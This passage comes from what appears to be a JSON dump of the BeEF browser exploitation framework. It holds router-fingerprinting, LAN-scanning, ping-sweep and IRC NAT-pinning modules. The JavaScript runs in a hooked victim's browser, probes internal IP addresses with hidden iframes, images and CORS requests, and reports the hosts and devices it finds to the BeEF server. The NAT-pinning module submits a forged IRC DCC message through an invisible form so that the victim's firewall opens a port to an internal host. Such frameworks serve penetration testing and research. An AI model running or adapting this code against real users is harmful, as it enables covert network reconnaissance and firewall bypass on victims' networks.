\t\t{make:'Netgear',model:'FR314',graphic:'/images/../settingsFR314.gif'},\n\t\t{make:'Netgear',model:'FR318',graphic:'/images/../settingsFR318.gif'},\n\t\t{make:'Netgear',model:'FR328S',graphic:'/images/../settingsFR328S.gif'},\n\t\t{make:'Netgear',model:'FV318',graphic:'/images/../settingsFV318.gif'},\n\t\t{make:'Netgear',model:'FVG318',graphic:'/images/../settingsFVG318.gif'},\n\t\t{make:'Netgear',model:'FVL328',graphic:'/images/../settingsFVL328.gif'},\n\t\t{make:'Netgear',model:'FVM318',graphic:'/images/../settingsFVM318.gif'},\n\t\t{make:'Netgear',model:'FVS114',graphic:'/images/../settingsFVS114.gif'},\n\t\t{make:'Netgear',model:'FVS124G',graphic:'/images/../settingsFVS124G.gif'},\n\t\t{make:'Netgear',model:'FVS318',graphic:'/images/../settingsFVS318.gif'},\n\t\t{make:'Netgear',model:'FVS328',graphic:'/images/../settingsFVS328.gif'},\n\t\t{make:'Netgear',model:'FVS338',graphic:'/images/../settingsFVS338.gif'},\n\t\t{make:'Netgear',model:'FVX538',graphic:'/images/../settingsFVX538.gif'},\n\t\t{make:'Netgear',model:'FWAG114',graphic:'/images/../settingsFWAG114.gif'},\n\t\t{make:'Netgear',model:'FWG114P',graphic:'/images/../settingsFWG114P.gif'},\n\t\t{make:'Netgear',model:'GA302T',graphic:'/images/../settingsGA302T.gif'},\n\t\t{make:'Netgear',model:'GA311',graphic:'/images/../settingsGA311.gif'},\n\t\t{make:'Netgear',model:'GA511',graphic:'/images/../settingsGA511.gif'},\n\t\t{make:'Netgear',model:'GA620',graphic:'/images/../settingsGA620.gif'},\n\t\t{make:'Netgear',model:'GA621',graphic:'/images/../settingsGA621.gif'},\n\t\t{make:'Netgear',model:'GA622T',graphic:'/images/../settingsGA622T.gif'},\n\t\t{make:'Netgear',model:'HE102',graphic:'/images/../settingsHE102.gif'},\n\t\t{make:'Netgear',model:'HR314',graphic:'/images/../settingsHR314.gif'},\n\t\t{make:'Netgear',model:'JFS516',graphic:'/images/../settingsJFS516.gif'},\n\t\t{make:'Netgear',model:'JFS524',graphic:'/images/../settingsJFS524.gif'},\n\t\t{make:'Netgear',model:'JFS524F',graphic:'/images/../settingsJFS524F.gif'},\n\t\t{make:'Netgear',model:'JGS516',graphic:'/images/../settingsJGS516.gif'},\n\t\t{make:'Netgear',model:'JGS524',graphic:'/images/../settingsJGS524.gif'},\n\t\t{make:'Netgear',model:'JGS524F',graphic:'/images/../settingsJGS524F.gif'},\n\t\t{make:'Netgear',model:'KWGR614',graphic:'/images/../settingsKWGR614.gif'},\n\t\t{make:'Netgear',model:'ME101',graphic:'/images/../settingsME101.gif'},\n\t\t{make:'Netgear',model:'ME102',graphic:'/images/../settingsME102.gif'},\n\t\t{make:'Netgear',model:'ME103',graphic:'/images/../settingsME103.gif'},\n\t\t{make:'Netgear',model:'MR314',graphic:'/images/../settingsMR314.gif'},\n\t\t{make:'Netgear',model:'MR814',graphic:'/images/../settingsMR814.gif'},\n\t\t{make:'Netgear',model:'RH340',graphic:'/images/../settingsRH340.gif'},\n\t\t{make:'Netgear',model:'RH348',graphic:'/images/../settingsRH348.gif'},\n\t\t{make:'Netgear',model:'RM356',graphic:'/images/../settingsRM356.gif'},\n\t\t{make:'Netgear',model:'RO318',graphic:'/images/../settingsRO318.gif'},\n\t\t{make:'Netgear',model:'RP114',graphic:'/images/../settingsRP114.gif'},\n\t\t{make:'Netgear',model:'RP334',graphic:'/images/../settingsRP334.gif'},\n\t\t{make:'Netgear',model:'RP614',graphic:'/images/../settingsRP614.gif'},\n\t\t{make:'Netgear',model:'RT311',graphic:'/images/../settingsRT311.gif'},\n\t\t{make:'Netgear',model:'RT314',graphic:'/images/../settingsRT314.gif'},\n\t\t{make:'Netgear',model:'RT328',graphic:'/images/../settingsRT328.gif'},\n\t\t{make:'Netgear',model:'RT338',graphic:'/images/../settingsRT338.gif'},\n\t\t{make:'Netgear',model:'WAB102',graphic:'/images/../settingsWAB102.gif'},\n\t\t{make:'Netgear',model:'WAG102',graphic:'/images/../settingsWAG102.gif'},\n\t\t{make:'Netgear',model:'WAG302',graphic:'/images/../settingsWAG302.gif'},\n\t\t{make:'Netgear',model:'WAGL102',graphic:'/images/../settingsWAGL102.gif'},\n\t\t{make:'Netgear',model:'WAGR614',graphic:'/images/../settingsWAGR614.gif'},\n\t\t{make:'Netgear',model:'WG102',graphic:'/images/../settingsWG102.gif'},\n\t\t{make:'Netgear',model:'WG111',graphic:'/images/../settingsWG111.gif'},\n\t\t{make:'Netgear',model:'WG111T',graphic:'/images/../settingsWG111T.gif'},\n\t\t{make:'Netgear',model:'WG302',graphic:'/images/../settingsWG302.gif'},\n\t\t{make:'Netgear',model:'WG311',graphic:'/images/../settingsWG311.gif'},\n\t\t{make:'Netgear',model:'WG602',graphic:'/images/../settingsWG602.gif'},\n\t\t{make:'Netgear',model:'WGE101',graphic:'/images/../settingsWGE101.gif'},\n\t\t{make:'Netgear',model:'WGE111',graphic:'/images/../settingsWGE111.gif'},\n\t\t{make:'Netgear',model:'WGL102',graphic:'/images/../settingsWGL102.gif'},\n\t\t{make:'Netgear',model:'WGM124',graphic:'/images/../settingsWGM124.gif'},\n\t\t{make:'Netgear',model:'WGR101',graphic:'/images/../settingsWGR101.gif'},\n\t\t{make:'Netgear',model:'WGR614',graphic:'/images/../settingsWGR614.gif'},\n\t\t{make:'Netgear',model:'WGT624',graphic:'/images/../settingsWGT624.gif'},\n\t\t{make:'Netgear',model:'WGT624SC',graphic:'/images/../settingsWGT624SC.gif'},\n\t\t{make:'Netgear',model:'WGT634U',graphic:'/images/../settingsWGT634U.gif'},\n\t\t{make:'Netgear',model:'WGU624',graphic:'/images/../settingsWGU624.gif'},\n\t\t{make:'Netgear',model:'WGX102',graphic:'/images/../settingsWGX102.gif'},\n\t\t{make:'Netgear',model:'WN121T',graphic:'/images/../settingsWN121T.gif'},\n\t\t{make:'Netgear',model:'WN311B',graphic:'/images/../settingsWN311B.gif'},\n\t\t{make:'Netgear',model:'WN311T',graphic:'/images/../settingsWN311T.gif'},\n\t\t{make:'Netgear',model:'WN511B',graphic:'/images/../settingsWN511B.gif'},\n\t\t{make:'Netgear',model:'WN511T',graphic:'/images/../settingsWN511T.gif'},\n\t\t{make:'Netgear',model:'WN802T',graphic:'/images/../settingsWN802T.gif'},\n\t\t{make:'Netgear',model:'WNR834B',graphic:'/images/../settingsWNR834B.gif'},\n\t\t{make:'Netgear',model:'WNR834M',graphic:'/images/../settingsWNR834M.gif'},\n\t\t{make:'Netgear',model:'WNR854T',graphic:'/images/../settingsWNR854T.gif'},\n\t\t{make:'Netgear',model:'WPN802',graphic:'/images/../settingsWPN802.gif'},\n\t\t{make:'Netgear',model:'WPN824',graphic:'/images/../settingsWPN824.gif'},\n\t\t{make:'Netgear',model:'XM128',graphic:'/images/../settingsXM128.gif'},\n\t\t{make:'Thomson',model:'Cable Modem A801',graphic:'/images/thomson.gif'},\n\t\t{make:'Vigor',model:'2600V',graphic:'/images/logo1.jpg'},\n\t\t{make:'Linksys',model:'WRT54GL',graphic:'/WRT56GL.gif'},\n\t\t{make:'Linksys',model:'WRT54GC',graphic:'/UI_Linksys.gif'},\n\t\t{make:'Linksys',model:'WRT54G',graphic:'/WRT54G.gif'},\n\t\t{make:'Linksys',model:'WRT54GS',graphic:'/UILinksys.gif'},\n\t\t{make:'ZyXEL',model:'Prestige 660H61',graphic:'/dslroutery/imgshop/full/NETZ1431.jpg'},\n\t\t{make:'ZyXEL',model:'Zywall',graphic:'/images/Logo.gif'},\n\t\t{make:'Sitecom',model:'WL114',graphic:'/slogo.gif'},\n\t\t{make:'2Wire',model:'1000 Series',graphic:'/base/web/def/def/images/nav_sl_logo.gif'},\t\t\t\t\n\t\t{make:'SurfinBird',model:'313',graphic:'/images/help_p.gif'},\n\t\t{make:'SMC',model:'7004ABR',graphic:'/images/logo.gif'},\n\t\t{make:'DLink',model:'DI524',graphic:'/m524.gif'},\n\t\t{make:'Cisco',model:'2600',graphic:'/images/logo.png'},\n\t\t{make:'ASUS',model:'RX Series',graphic:'/images/banner_sys4bg.gif'},\n\t\t{make:'ASUS',model:'RT Series',graphic:'/images/EZSetup_button.gif'}\n\t];\n\n\t// No signatures for commented out IPs\n\tvar ips = [\n\t\t{ip:'192.168.1.30',make:'DLink'},\n\t\t{ip:'192.168.1.50',make:'DLink'},\n\t\t{ip:'192.168.2.1',make:'SMC'},\n\t\t//{ip:'192.168.2.1',make:'Accton'},\n\t\t//{ip:'192.168.1.1',make:'3Com'},\n\t\t//{ip:'192.168.1.1',make:'AirLink'},\n\t\t//{ip:'192.168.1.1',make:'Arescom'},\n\t\t//{ip:'192.168.1.1',make:'Teletronics'},\n\t\t//{ip:'192.168.1.1',make:'Dell'},\n\t\t{ip:'192.168.1.1',make:'DLink'},\n\t\t{ip:'192.168.1.1',make:'Linksys'},\n\t\t{ip:'192.168.1.1',make:'ZyXEL'},\n\t\t{ip:'192.168.1.1',make:'ASUS'},\n\t\t{ip:'192.168.0.1',make:'DLink'},\n\t\t{ip:'192.168.0.1',make:'Netgear'},\n\t\t{ip:'192.168.0.1',make:'Linksys'},\n\t\t{ip:'192.168.0.1',make:'SurfinBird'},\n\t\t{ip:'192.168.0.1',make:'ASUS'},\n\t\t{ip:'192.168.0.227',make:'Netgear'},\n\t\t{ip:'192.168.0.254',make:'DLink'},\n\t\t{ip:'192.168.1.225',make:'Linksys'},\n\t\t{ip:'192.168.1.226',make:'Linksys'},\n\t\t{ip:'192.168.1.245',make:'Linksys'},\n\t\t{ip:'192.168.1.246',make:'Linksys'},\n\t\t{ip:'192.168.1.251',make:'Linksys'},\n\t\t{ip:'192.168.100.1',make:'Thomson'},\n\t\t{ip:'192.168.1.254',make:'ZyXEL'},\n\t\t{ip:'192.168.1.254',make:'2Wire'},\n\t\t{ip:'192.168.0.1',make:'Vigor'},\n\t\t{ip:'192.168.123.254',make:'Sitecom'},\n\t\t//{ip:'10.0.1.1',make:'Apple'},\n\t\t{ip:'10.1.1.1',make:'DLink'},\n\t\t{ip:'10.0.0.1',make:'ZyXEL'},\n\t\t//{ip:'10.0.0.2',make:'Aceex'},\n\t\t//{ip:'10.0.0.2',make:'Bausch'},\n\t\t//{ip:'10.0.0.2',make:'E-Tech'},\n\t\t//{ip:'10.0.0.2',make:'JAHT'},\n\t\t{ip:'192.168.1.254',make:'2Wire'},\n\t\t{ip:'192.168.65.1',make:'Cisco'}\n\t\t//{ip:'192.168.100.1',make:'Motorola'},\n\t\t//{ip:'192.168.100.1',make:'Ambit'},\n\t];\n\n\tvar guesses = [\n\t\t{host:'10.1.1.1',label:'Device',labelText:'DLink',port:80},\n\t\t{host:'10.0.0.1',label:'Device',labelText:'ZyXEL',port:80},\n\t\t{host:'10.0.0.2',label:'Device',labelText:'Aceex,Bausch,E-Tech,JAHT',port:80},\n\t\t{host:'10.0.0.138',label:'Device',labelText:'Alcatel',port:80},\n\t\t{host:'10.0.1.1',label:'Device',labelText:'Apple',port:80},\t\n\t\t{host:'192.168.0.1',label:'Device',labelText:'DLink,Netgear,ASUS,Linksys,Sitecom,Belkin',port:80},\t\t\n\t\t{host:'192.168.0.227',label:'Device',labelText:'Netgear',port:80},\n\t\t{host:'192.168.0.254',label:'Device',labelText:'DLink,Sitecom/Linux IP Cop',port:80},\t\t\n\t\t{host:'192.168.1.1',label:'Device',labelText:'3Com,AirLink,Linksys,Arescom,ASUS,Dell,DLink,ZyXEL,Teletronics',port:80},\n\t\t{host:'192.168.1.30',label:'Device',labelText:'DLink',port:80},\n\t\t{host:'192.168.1.50',label:'Device',labelText:'DLink,Linksys',port:80},\n\t\t{host:'192.168.1.225',label:'Device',labelText:'Linksys',port:80},\n\t\t{host:'192.168.1.226',label:'Device',labelText:'Linksys',port:80},\n\t\t{host:'192.168.1.245',label:'Device',labelText:'Linksys',port:80},\n\t\t{host:'192.168.1.246',label:'Device',labelText:'Linksys',port:80},\n\t\t{host:'192.168.1.251',label:'Device',labelText:'Linksys',port:80},\n\t\t{host:'192.168.1.254',label:'Device',labelText:'ZyXEL',port:80},\t\t\n\t\t{host:'192.168.2.1',label:'Device',labelText:'Accton,Belkin,Microsoft,SMC',port:80},\n\t\t{host:'192.168.2.25',label:'Device',labelText:'SMC',port:80},\n\t\t{host:'192.168.8.1',label:'Device',labelText:'Aceex',port:80},\n\t\t{host:'192.168.11.1',label:'Device',labelText:'Buffalo',port:80},\n\t\t{host:'192.168.62.1',label:'Device',labelText:'Canyon',port:80},\n\t\t{host:'192.168.100.1',label:'Device',labelText:'Ambit,Thomson,Motorola',port:80},\n\t\t{host:'192.168.123.254',label:'Device',labelText:'US Robotics',port:80},\n\t\t{host:'192.168.123.254',label:'Device',labelText:'Sitecom',port:80},\n\t\t{host:'192.168.254.254',label:'Device',labelText:'Flowpoint',port:80},\n\t\t{host:'192.168.254.1',label:'Device',labelText:'BT M5861,2Wire',port:80}\t\n\t];\n\n\tlanScanner = {timeout:1,probes:0};\n\t//lol pardon the innuendo\n\tlanScanner.handleProbe = function(portObj) {\n\t\tif(portObj.init == 1) {\n\t\t\tlanScanner.addDevice({host:portObj.host,make:portObj.make,model:portObj.model});\t\t\n\t\t\tdocument.body.removeChild(portObj);\n\t\t} \n\t}\n\t// ie sucks! onload doesn't work unless specified directly in the document\n\t// that's why I have to do this :(\n\tlanScanner.handleConnection = function(portObj) {\n\t\tif(portObj.init == 1) {\n\t\t\tif(beef.browser.isIE()) {\n\t\t\t\tportObj.end = new Date().getTime();\t\t\n\t\t\t\tif(portObj.end - portObj.start > 15000) {\t\t\t\n\t\t\t\t\tdocument.body.removeChild(portObj);\n\t\t\t\t\treturn false;\t\t\t\n\t\t\t\t}\n\t\t\t}\t\n\t\t\tvar obj = portObj.store;\n\t\t\tobj.status = 'Open';\t\t\t\n\t\t\tlanScanner.addHost(obj);\n\t\t\tdocument.body.removeChild(portObj);\n\t\t} else {\n\t\t\tportObj.start = new Date().getTime();\n\t\t}\n\t}\n\tlanScanner.runScan = function() {\n\t\tvar obj, portObj;\n\t\tguessesLen = guesses.length;\n\t\tfor(var i=0;i<guessesLen;i++) {\n\t\t\tobj = guesses[i];\n\t\t\tcurrentPort = obj.port;\n\t\t\tcurrentAddress = obj.host+':'+currentPort;\n\t\t\tbeef.debug(\"[JS LAN Scanner] Connecting to: \" + currentAddress);\n\t\t\tportObj = document.getElementById('connection'+i);\n\t\t\tportObj.src = 'http://'+currentAddress;\n\t\t\tportObj.store = obj;\n\t\t\tportObj.init = 1;\n\t\t\tdocument.body.appendChild(portObj);\n\t\t}\n\t}\n\tlanScanner.getPortName = function(port) {\n\t\tvar portNames = {'HTTP Server':80,'FTP Server':21};\n\t\tfor(var i in portNames) {\n\t\t\tif(portNames[i] == port) {\n\t\t\t\treturn i;\n\t\t\t}\n\t\t}\n\t\treturn 'Unknown';\n\t}\n\tlanScanner.addHost = function(obj) {\n\t\tthis.timeout = 0;\n\t\tbeef.debug(\"[JS LAN Scanner] Found \"+this.getPortName(obj.port)+\" [proto: http, ip: \"+obj.host+\", port: \"+obj.port+\"]\");\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'proto=http&ip='+obj.host+'&port='+obj.port+'&service='+this.getPortName(obj.port), beef.are.status_success());\n\t\tlanScanner.fingerPrint(obj.host);\n\t}\n\tlanScanner.addDevice = function(obj) {\n\t\tbeef.debug(\"[JS LAN Scanner] Found \" + obj.make + ' ' + obj.model + ' [ip: ' + obj.host + ']');\n\t\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, 'ip='+obj.host+'&device='+obj.make+' '+obj.model, beef.are.status_success());\n\t}\n\tlanScanner.destroyConnections = function() {\n\t\tvar guessesLen = guesses.length;\n\t\tfor(var f=0;f<guessesLen;f++) {\n\t\t\tdocument.body.removeChild(document.getElementById('connection'+f));\n\t\t}\n\t}\n\tlanScanner.fingerPrint = function(address) {\n\t\tvar make,fingerprint;\n\t\tfor(var i=0;i<ips.length;i++) {\n\t\t\tif(ips[i].ip == address) {\n\t\t\t\tmake = ips[i].make;\t\t\t\t\t\t\n\t\t\t\tfor(var k=0;k<devices.length;k++) {\n\t\t\t\t\tif(devices[k].make == make) {\n\t\t\t\t\t\tvar img = new Image();\n\t\t\t\t\t\timg.setAttribute(\"style\",\"visibility:hidden\");\n\t\t\t\t\t\timg.setAttribute(\"width\",\"0\");\n\t\t\t\t\t\timg.setAttribute(\"height\",\"0\");\n\t\t\t\t\t\timg.id = 'probe'+this.probes;\n\t\t\t\t\t\timg.name = 'probe'+this.probes;\n\t\t\t\t\t\timg.onerror = function() { document.body.removeChild(this); }\n\t\t\t\t\t\timg.onload = function() { lanScanner.handleProbe(this); }\n\t\t\t\t\t\timg.init = 1;\t\t\n\t\t\t\t\t\timg.model = devices[k].model;\n\t\t\t\t\t\timg.make = make;\n\t\t\t\t\t\timg.host = address;\n\t\t\t\t\t\timg.src = 'http://' + address + devices[k].graphic;\t\t\t\t\t\t\t\t\t\t\n\t\t\t\t\t\tthis.probes++;\n\t\t\t\t\t\tdocument.body.appendChild(img);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t}\n\n\tvar guessesLen = guesses.length;\n\tfor(var f=0;f<guessesLen;f++) {\n\t\tvar iframe = beef.dom.createInvisibleIframe();\n\t\tiframe.name = \"connection\"+f;\n\t\tiframe.id = \"connection\"+f;\n\t\tiframe.onload = function() {\n\t\t\tlanScanner.handleConnection(this);\n\t\t}\n\t}\n\tbeef.debug(\"[JS LAN Scanner] Starting scan (\"+guessesLen+\" IPs)\");\n\tbeef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"Starting scan (\"+guessesLen+\" IPs)\");\n\tlanScanner.runScan();\n\t//lanScanner.destroyConnections();\n});\n\n"
  },
  {
    "path": "modules/network/jslanscanner/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n# Ported to BeEF from JsLanScanner: https://code.google.com/p/jslanscanner/source/browse/trunk/lan_scan/js/lan_scan.js\n#\nbeef:\n    module:\n        fingerprint_routers:\n            enable: true\n            category: \"Network\"\n            name: \"Fingerprint Routers\"\n            description: \"This module attempts to discover network routers on the local network of the hooked browser. It scans for web servers on IP addresses commonly used by routers. It uses a signature based approach - based on default image paths for known network devices - to determine if the web server is a router web interface.<br/><br/>Ported to BeEF from <a href='http://code.google.com/p/jslanscanner/' target='_blank'>JsLanScanner</a>.<br/><br/>Note: The user may see authentication popups in the event any of the target IP addresses are using HTTP authentication.\"\n            authors: [\"Gareth Heyes\"]\n            target:\n                user_notify: [\"FF\", \"S\"]\n                not_working: [\"C\", \"IE\"]\n"
  },
  {
    "path": "modules/network/jslanscanner/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\n\nclass Fingerprint_routers < BeEF::Core::Command\n  def self.options\n    []\n  end\n\n  def post_execute\n    content = {}\n    content['results'] = @datastore['results'] unless @datastore['results'].nil?\n    save content\n\n    configuration = BeEF::Core::Configuration.instance\n    return unless configuration.get('beef.extension.network.enable') == true\n\n    case @datastore['results']\n    when /^proto=(.+)&ip=(.+)&port=(\\d+)&service=(.+)/\n      proto = Regexp.last_match(1)\n      ip = Regexp.last_match(2)\n      port = Regexp.last_match(3)\n      service = Regexp.last_match(4)\n      session_id = @datastore['beefhook']\n      if BeEF::Filters.is_valid_ip?(ip)\n        print_debug(\"Hooked browser found network service #{service} [proto: #{proto}, ip: #{ip}, port: #{port}]\")\n        BeEF::Core::Models::NetworkService.create(hooked_browser_id: session_id, proto: proto, ip: ip, port: port, type: service)\n      end\n    when /^ip=(.+)&device=(.+)/\n      ip = Regexp.last_match(1)\n      device = Regexp.last_match(2)\n      session_id = @datastore['beefhook']\n      if BeEF::Filters.is_valid_ip?(ip)\n        print_debug(\"Hooked browser found network device #{device} [ip: #{ip}]\")\n        BeEF::Core::Models::NetworkHost.create(hooked_browser_id: session_id, ip: ip, type: device)\n      end\n    end\n  end\nend\n"
  },
  {
    "path": "modules/network/nat_pinning_irc/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n  var privateip = '<%= @privateip %>';\n  var privateport = '<%= @privateport %>';\n  var connectto = '<%= @connectto %>';\n\n  function dot2dec(dot){\n    var d = dot.split('.');\n    return (((+d[0])*256+(+d[1]))*256+(+d[2]))*256+(+d[3]);\n  }\n    \n  var myIframe = beef.dom.createInvisibleIframe();\n  var myForm = document.createElement(\"form\");\n  var action = \"http://\" + connectto + \":6667/\"\n \n  myForm.setAttribute(\"name\", \"data\");\n  myForm.setAttribute(\"method\", \"post\");\n  //it must be multipart/form-data so the message appears on separate line\n  myForm.setAttribute(\"enctype\", \"multipart/form-data\");\n  myForm.setAttribute(\"action\", action);\n\n    \n  //create message, refer Samy Kamkar (http://samy.pl/natpin/)\n  x = String.fromCharCode(1);\n  var s = 'PRIVMSG beef :'+x+'DCC CHAT beef '+dot2dec(privateip)+' '+privateport+x+\"\\n\";\n\n  //create message textarea\n  var myExt = document.createElement(\"textarea\");\n  myExt.setAttribute(\"id\",\"msg_<%= @command_id %>\");\n  myExt.setAttribute(\"name\",\"msg_<%= @command_id %>\");\n  myForm.appendChild(myExt);\n  myIframe.contentWindow.document.body.appendChild(myForm);\n\n  //send message\n  myIframe.contentWindow.document.getElementById(\"msg_<%= @command_id %>\").value = s;\n  myForm.submit(); \n    \n  beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=Message sent');\n\n});\n"
  },
  {
    "path": "modules/network/nat_pinning_irc/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        irc_nat_pinning:\n            enable: true\n            category: \"Network\"\n            name: \"IRC NAT Pinning\" \n            description: \"Attempts to open closed ports on statefull firewalls and attempts to create pinholes on NAT-devices.  The firewall/NAT-device must support IRC connection tracking. BeEF will automatically bind a socket on port 6667 (IRC). Then you can connect to the victims public IP on that port.  For more information, please refer to: <a href='http://samy.pl/natpin/'>http://samy.pl/natpin/</a> .\"\n            authors: [\"Bart Leppens\"]\n            target:\n                working: [\"FF\"]\n"
  },
  {
    "path": "modules/network/nat_pinning_irc/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Irc_nat_pinning < BeEF::Core::Command\n  def pre_send\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind_socket('IRC', '0.0.0.0', 6667)\n  end\n\n  def self.options\n    @configuration = BeEF::Core::Configuration.instance\n    beef_host = @configuration.beef_host\n\n    [\n      { 'name' => 'connectto', 'ui_label' => 'Connect to', 'value' => beef_host },\n      { 'name' => 'privateip', 'ui_label' => 'Private IP', 'value' => '192.168.0.100' },\n      { 'name' => 'privateport', 'ui_label' => 'Private Port', 'value' => '22' }\n    ]\n  end\n\n  def post_execute\n    return if @datastore['result'].nil?\n\n    save({ 'result' => @datastore['result'] })\n\n    # wait 30 seconds before unbinding the socket. The HTTP connection will arrive sooner than that anyway.\n    sleep 30\n    BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.unbind_socket('IRC')\n  end\nend\n"
  },
  {
    "path": "modules/network/ping_sweep/command.js",
    "content": "//\n// Copyright (c) 2006-2026Wade Alcorn - wade@bindshell.net\n// Browser Exploitation Framework (BeEF) - https://beefproject.com\n// See the file 'doc/COPYING' for copying permission\n//\n\nbeef.execute(function() {\n\n  var ips = new Array();\n  var rhosts = \"<%= @rhosts %>\";\n  var threads = parseInt(\"<%= @threads %>\", 10) || 3;\n  var timeout = 1000;\n\n  if(!beef.browser.hasCors()) {\n    beef.net.send('<%= @command_url %>', <%= @command_id %>, 'fail=Browser does not support CORS', beef.are.status_error());\n    return;\n  }\n\n  // set target IP addresses\n  if (rhosts == 'common') {\n    // use default IPs\n    ips = [\n      '192.168.0.1',\n      '192.168.0.100',\n      '192.168.0.254',\n      '192.168.1.1',\n      '192.168.1.100',\n      '192.168.1.254',\n      '10.0.0.1',\n      '10.1.1.1',\n      '192.168.2.1',\n      '192.168.2.254',\n      '192.168.100.1',\n      '192.168.100.254',\n      '192.168.123.1',\n      '192.168.123.254',\n      '192.168.10.1',\n      '192.168.10.254'\n    ];\n  } else {\n    // set target IP range\n    var range = rhosts.match('^([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\-([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))\\.([0-9]|[1-9][0-9]|1([0-9][0-9])|2([0-4][0-9]|5[0-5]))$');\n    if (range == null || range[1] == null) {\n      beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"fail=malformed IP range supplied\", beef.are.status_error());\n      return;\n    }\n    ipBounds   = rhosts.split('-');\n    lowerBound = ipBounds[0].split('.')[3];\n    upperBound = ipBounds[1].split('.')[3];\n    for (var i = lowerBound; i <= upperBound; i++){\n      ipToTest = ipBounds[0].split('.')[0]+\".\"+ipBounds[0].split('.')[1]+\".\"+ipBounds[0].split('.')[2]+\".\"+i;\n      ips.push(ipToTest);\n    }\n  }\n\n  WorkerQueue = function(frequency) {\n\n    var stack = [];\n    var timer = null;\n    var frequency = frequency;\n    var start_scan = (new Date).getTime();\n\n    this.process = function() {\n      var item = stack.shift();\n      eval(item);\n      if (stack.length === 0) {\n        clearInterval(timer);\n        timer = null;\n        var interval = (new Date).getTime() - start_scan;\n        beef.debug(\"[Ping Sweep] Worker queue is complete [\"+interval+\" ms]\");\n        return;\n      }\n    }\n\n    this.queue = function(item) {\n      stack.push(item);\n      if (timer === null) timer = setInterval(this.process, frequency);\n    }\n\n  }\n\n  // create workers\n  var workers = new Array();\n  for (w=0; w < threads; w++) workers.push(new WorkerQueue(timeout));\n\n  beef.debug(\"[Ping Sweep] Starting scan (\"+(ips.length)+\" URLs / \"+threads+\" workers)\");\n  for (var i=0; i < ips.length; i++) {\n    var worker = workers[i % threads];\n    var ip = ips[i];\n    // use a high port likely to be closed/filtered (60000 - 65000)\n    var port = Math.floor(Math.random() * 5000) + 60000;\n    worker.queue('var start_time = new Date().getTime();' +\n      'beef.net.cors.request(' +\n        '\"GET\", \"http://'+ip+':'+port+'/\", \"\", '+timeout+', function(response) {' +\n          'var current_time = new Date().getTime();' +\n          'var duration = current_time - start_time;' +\n          'if (duration < '+timeout+') {' +\n            'beef.debug(\"[Ping Sweep] '+ip+' [\" + duration + \" ms] -- host is up\");' +\n            'beef.net.send(\"<%= @command_url %>\", <%= @command_id %>, \"ip='+ip+'&ping=\"+duration+\"ms\", beef.are.status_success());' +\n          '} else {' +\n            'beef.debug(\"[Ping Sweep] '+ip+' [\" + duration + \" ms] -- timeout\");' +\n          '}' +\n      '});'\n    );\n    }\n\n});\n\n"
  },
  {
    "path": "modules/network/ping_sweep/config.yaml",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nbeef:\n    module:\n        ping_sweep:\n            enable: true\n            category: \"Network\"\n            name: \"Ping Sweep (JS XHR)\"\n            description: \"Discover active hosts in the internal network of the hooked browser using JavaScript XHR.<br/><br/>Note: set the IP address range to 'common' to scan a list of common LAN addresses.\"\n            authors: [\"bcoles\"]\n            target:\n                working: [\"FF\"]\n                not_working: [\"ALL\"]\n"
  },
  {
    "path": "modules/network/ping_sweep/module.rb",
    "content": "#\n# Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net\n# Browser Exploitation Framework (BeEF) - https://beefproject.com\n# See the file 'doc/COPYING' for copying permission\n#\nclass Ping_sweep < BeEF::Core::Command\n  def post_execute\n    content = {}\n    content['result'] = @datastore['result']\n    save content\n\n    configuration = BeEF::Core::Configuration.instance\n    return unless configuration.get('beef.extension.network.enable') == true\n\n    # log the network service\n    return unless @datastore['results'] =~ /^ip=(.+)&ping=(\\d+)ms$/\n\n    ip = Regexp.last_match(1)\n    # ping = Regexp.last_match(2)\n    session_id = @datastore['beefhook']\n    if BeEF::Filters.is_valid_ip?(ip)\n      print_debug(\"Hooked browser found host #{ip}\")\n      BeEF::Core::Models::NetworkHost.create(hooked_browser_id: session_id, ip: ip)\n    end\n  end\n\n  def self.options\n    [\n      { 'name' => 'rhosts', 'ui_label' => 'Scan IP range (C class)', 'value' => 'common' },\n      { 'name' => 'threads', 'ui_label' => 'Workers', 'value' => '3' }\n    ]\n  end\nend\n"
  },
  {
    "path": "modules/network/ping_sweep_ff/command.js",
